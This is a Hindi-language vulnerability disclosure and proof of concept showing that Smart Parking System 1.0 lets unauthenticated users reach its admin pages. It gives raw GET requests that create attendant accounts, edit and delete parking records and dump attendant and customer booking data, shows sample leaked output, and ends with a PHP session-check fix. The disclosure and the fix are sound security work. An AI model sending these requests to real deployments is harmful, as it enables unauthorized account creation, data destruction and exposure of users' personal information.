
प्रमाण-अवधारणा जो स्मार्ट पार्किंग सिस्टम 1.0 में महत्वपूर्ण एडमिन कार्यों तक बिना प्रमाणीकरण के पहुंच प्रदर्शित करती है, जिससे खाता निर्माण, डेटा हेरफेर और PII का खुलासा संभव होता है।
| फ़ील्ड | विवरण |
|---|
| उत्पाद | स्मार्ट पार्किंग सिस्टम |
| विक्रेता | code-projects.org |
| संस्करण | 1.0 |
| भेद्यता वर्ग | महत्वपूर्ण फ़ंक्शन के लिए अनुपस्थित प्रमाणीकरण (CWE-306) |
| CVE ID | लंबित |
| CVSS स्कोर | 9.8 गंभीर (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| प्रमाणीकरण आवश्यक | कोई नहीं |
| प्रभावित फ़ाइलें | attendant.php, edit.php, basic_table.php, basic_table2.php, admin_request.php |
code-projects.org द्वारा स्मार्ट पार्किंग सिस्टम 1.0 कई एडमिन-ओनली एंडपॉइंट्स पर प्रमाणीकरण लागू करने में विफल रहता है। एक अनधिकृत रिमोट हमलावर बिना किसी सत्र कुकी के सीधे इन एंडपॉइंट्स तक पहुंच सकता है और विशेषाधिकार प्राप्त कार्य कर सकता है, जिसमें अटेंडेंट खाते बनाना, पार्किंग रिकॉर्ड संपादित और हटाना, और सभी ग्राहक PII और बुकिंग डेटा देखना शामिल है।
इस भेद्यता का शोषण करने के लिए कोई क्रेडेंशियल, कोई सत्र टोकन, और किसी वैध उपयोगकर्ता से कोई इंटरैक्शन आवश्यक नहीं है।
कोई क्रेडेंशियल नहीं / कोई सत्र नहीं
↓
एडमिन एंडपॉइंट्स पर सीधा GET अनुरोध
↓
attendant.php → नकली अटेंडेंट खाते बनाएं
edit.php → किसी भी पार्किंग रिकॉर्ड को पढ़ें और अधिलेखित करें
basic_table.php → किसी भी पार्किंग रिकॉर्ड को हटाएं
basic_table2.php → सभी अटेंडेंट PII डंप करें
admin_request.php → सभी ग्राहक ईमेल और बुकिंग डेटा डंप करें
↓
पूर्ण एडमिन कार्यक्षमता से समझौता
बिना कुकीज़ के एक नया ब्राउज़र सत्र खोलें। एप्लिकेशन रूट पर नेविगेट करें। लॉगिन पेज प्रस्तुत किया जाता है जो पुष्टि करता है कि कोई सक्रिय सत्र मौजूद नहीं है:
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE/ HTTP/1.1
Host: 192.168.0.9
सीधे अटेंडेंट पंजीकरण एंडपॉइंट पर नेविगेट करें:
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE/attendant.php HTTP/1.1
Host: 192.168.0.9
परिणाम: पूरा "Add Parking Attendant Details" फ़ॉर्म पहला नाम, अंतिम नाम, मोबाइल नंबर, सड़क, उपयोगकर्ता नाम और पासवर्ड के लिए फ़ील्ड के साथ लोड होता है। एक हमलावर सिस्टम एक्सेस के साथ एक नकली अटेंडेंट खाता पंजीकृत कर सकता है।
सीधे पार्किंग रिकॉर्ड संपादन एंडपॉइंट पर नेविगेट करें:
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE//edit.php?edit=5 HTTP/1.1
Host: 192.168.0.9
परिणाम: "Update Parkings Details" फ़ॉर्म लाइव डेटाबेस मानों के साथ पहले से भरा हुआ लोड होता है:
City: Mombasa
Street: Tudor
Slots: 150
Cost: 500
एक हमलावर किसी भी फ़ील्ड को अधिलेखित कर सकता है और परिवर्तनों को सीधे डेटाबेस में सहेजने के लिए सबमिट कर सकता है।
हटाने वाले एंडपॉइंट पर सीधा GET अनुरोध भेजें:
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE/basic_table.php?delete=4 HTTP/1.1
Host: 192.168.0.9
परिणाम: एप्लिकेशन निम्न के साथ प्रतिक्रिया करता है:
Parking deleted successfully
रिकॉर्ड डेटाबेस में स्थायी रूप से नष्ट हो जाता है। कोई प्रमाणीकरण, कोई CSRF टोकन, और कोई पुष्टिकरण संकेत आवश्यक नहीं है।
सीधे अटेंडेंट सूची एंडपॉइंट पर नेविगेट करें:
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE//basic_table2.php HTTP/1.1
Host: 192.168.0.9
परिणाम: नाम, मोबाइल नंबर और निर्दिष्ट सड़कों सहित पूरी अटेंडेंट सूची लौटाई जाती है:
karis kelvin 070824555 msa
king doshi 0708009360 Nairobi
james peter 0708009360 vol
tset test 0708009360 tset
सीधे एडमिन बुकिंग अनुरोध एंडपॉइंट पर नेविगेट करें:
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE//admin_request.php HTTP/1.1
Host: 192.168.0.9
परिणाम: ईमेल, स्लॉट, घंटे और लागत सहित सभी ग्राहक बुकिंग रिकॉर्ड लौटाए जाते हैं:
[email protected] slots:4 hours:2 cost:4000 status:requested
[email protected] slots:1 hours:6 cost:1200 status:Completed
[email protected] slots:1 hours:2 cost:1000 status:requested
[email protected] slots:1 hours:1 cost:500 status:requested
[email protected] slots:1 hours:1 cost:500 status:requested
[email protected] slots:1 hours:1 cost:500 status:requested
[email protected] slots:1 hours:3 cost:0 status:requested
[email protected] slots:1 hours:2 cost:1000 status:requested
| फ़ाइल | भेद्यता |
|---|---|
attendant.php | अनधिकृत अटेंडेंट खाता निर्माण |
edit.php | पार्किंग रिकॉर्ड तक अनधिकृत पढ़ने/लिखने की पहुंच |
basic_table.php | पार्किंग रिकॉर्ड का अनधिकृत विलोपन |
basic_table2.php | पूर्ण अटेंडेंट PII तक अनधिकृत पहुंच |
admin_request.php | सभी ग्राहक बुकिंग डेटा तक अनधिकृत पहुंच |
प्रत्येक एडमिन-मुख PHP फ़ाइल के शीर्ष पर एक सत्र प्रमाणीकरण जांच जोड़ें:
session_start();
if (!isset($_SESSION['admin']) || $_SESSION['admin'] !== true) {
header("Location: index.php");
exit();
}